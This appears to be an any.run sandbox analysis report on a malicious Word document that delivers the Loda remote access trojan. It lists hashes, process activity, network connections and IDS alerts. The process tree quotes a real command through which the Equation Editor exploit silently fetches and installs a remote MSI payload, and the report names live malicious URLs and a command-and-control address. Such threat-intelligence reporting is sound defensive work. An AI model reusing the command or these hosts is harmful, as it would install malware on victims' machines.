URL: | https://www.mensajerosatiempo.com/wp-content/themes/sketch/css/l/WORD.doc |
Full analysis: | https://app.any.run/tasks/b1c94fa1-5658-4016-b30f-eb3d393dc42b |
Verdict: | Malicious activity |
Threats: | Loda is a remote access trojan (RAT) that has been in active use among multiple threat actors since 2016. The malware’s functionality includes stealing passwords and other sensitive information, keylogging, capturing screenshots, and delivering other malicious payloads. Loda is typically distributed as part of phishing email campaigns. |
Analysis date: | January 18, 2019, 11:47:48 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MD5: | D8CDA77F7ADAB117131E56B46C3F1E87 |
SHA1: | 1EA9472BD9B038EF1CF116332BFB4EFCB039877A |
SHA256: | 04BA57038F69905A3110C273A13E889246B1A91EDA32DD2C7D07A3717B9F471C |
SSDEEP: | 3:N8DSL2GqQGK2OlAQrFc/CNJKyFGn:2OL2GqQsOlAkFWgJKL |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
3456 | "C:\Program Files\Internet Explorer\iexplore.exe" -nohome | C:\Program Files\Internet Explorer\iexplore.exe | explorer.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Internet Explorer Exit code: 1 Version: 8.00.7600.16385 (win7_rtm.090713-1255) | ||||
3788 | "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:3456 CREDAT:71937 | C:\Program Files\Internet Explorer\iexplore.exe | iexplore.exe | |
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Internet Explorer Exit code: 0 Version: 8.00.7600.16385 (win7_rtm.090713-1255) | ||||
3428 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" -Embedding | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | svchost.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
1300 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Embedding | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 | ||||
2452 | "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding | C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE | svchost.exe | |
User: admin Company: Design Science, Inc. Integrity Level: MEDIUM Description: Microsoft Equation Editor Exit code: 0 Version: 00110900 | ||||
1288 | cmd.exe & /C CD C: & msiexec.exe /i https://www.mensajerosatiempo.com/wp-content/themes/sketch/css/l/qkrttr.msi /quiet | C:\Windows\system32\cmd.exe | — | EQNEDT32.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3616 | msiexec.exe /i https://www.mensajerosatiempo.com/wp-content/themes/sketch/css/l/qkrttr.msi /quiet | C:\Windows\system32\msiexec.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows® installer Version: 5.0.7600.16385 (win7_rtm.090713-1255) | ||||
2740 | C:\Windows\system32\msiexec.exe /V | C:\Windows\system32\msiexec.exe | services.exe | |
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows® installer Version: 5.0.7600.16385 (win7_rtm.090713-1255) | ||||
4048 | "C:\Windows\Installer\MSI988B.tmp" | C:\Windows\Installer\MSI988B.tmp | msiexec.exe | |
User: admin Integrity Level: MEDIUM Version: 3, 3, 8, 1 | ||||
2308 | "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\WININET.dll",DispatchAPICall 1 | C:\Windows\system32\rundll32.exe | — | MSI988B.tmp |
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Windows host process (Rundll32) Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
3456 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\favicon[1].ico | — | |
MD5:— | SHA256:— | |||
3456 | iexplore.exe | C:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico | — | |
MD5:— | SHA256:— | |||
3428 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRAA40.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3428 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\{AFDB0237-9866-47CF-B6CC-76500D91725C} | — | |
MD5:— | SHA256:— | |||
3428 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\{FB088509-85EE-4C58-B55B-7A9D1D493C2D} | — | |
MD5:— | SHA256:— | |||
3428 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@mensajerosatiempo[1].txt | text | |
MD5:B8675301E33B15F31A279A571075FD1D | SHA256:F94AAEED77C9E3D0633F713323D23E1F9BB86727EE7A8BF0209F21F1C21B208C | |||
3428 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSF-CTBL.FSF | binary | |
MD5:53AE556B85DCAFF0D53A420A211A529D | SHA256:29C592668A989A8804A06DBA2C9DB220479DCAEF9CAF3B2440196A1AE736105C | |||
3428 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:DF4F385FE905DC91DF5AAEF171285CFB | SHA256:02DD0C47EE2B06A93D2A6B7DC574533FF588909F9600548BF0B6EB2A27A69ECB | |||
3428 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD-{BB0A528B-C757-49D5-919A-E00FF901E007}.FSD | binary | |
MD5:46A40D3DB1F278A7C65346307A30EF97 | SHA256:9909ABDD645182A37CAE2026D3A96340BD6A77C61F814B4817BAA8CBC16BF305 | |||
3456 | iexplore.exe | C:\Users\admin\AppData\Local\Temp\~DF0E872BDA04ADACC2.TMP | — | |
MD5:— | SHA256:— |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
3456 | iexplore.exe | GET | 200 | 204.79.197.200:80 | http://www.bing.com/favicon.ico | US | image | 237 b | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
3788 | iexplore.exe | 104.28.31.119:443 | www.mensajerosatiempo.com | Cloudflare Inc | US | shared |
3456 | iexplore.exe | 204.79.197.200:80 | www.bing.com | Microsoft Corporation | US | whitelisted |
976 | svchost.exe | 104.28.31.119:443 | www.mensajerosatiempo.com | Cloudflare Inc | US | shared |
3428 | WINWORD.EXE | 104.28.31.119:443 | www.mensajerosatiempo.com | Cloudflare Inc | US | shared |
2740 | msiexec.exe | 104.28.31.119:443 | www.mensajerosatiempo.com | Cloudflare Inc | US | shared |
4048 | MSI988B.tmp | 104.25.210.99:443 | ipapi.co | Cloudflare Inc | US | shared |
4048 | MSI988B.tmp | 91.231.84.41:2170 | — | Ukrainian Internet Names Center LTD | UA | malicious |
Domain | IP | Reputation |
---|---|---|
www.bing.com |
| whitelisted |
www.mensajerosatiempo.com |
| unknown |
ipapi.co |
| shared |
PID | Process | Class | Message |
---|---|---|---|
— | — | Potential Corporate Privacy Violation | ET POLICY External IP Lookup Domain (ipapi .co in DNS lookup) |
4048 | MSI988B.tmp | A Network Trojan was detected | MALWARE [PTsecurity] Loda Logger CnC Request |
4048 | MSI988B.tmp | A Network Trojan was detected | MALWARE [PTsecurity] Loda Logger CnC Beacon |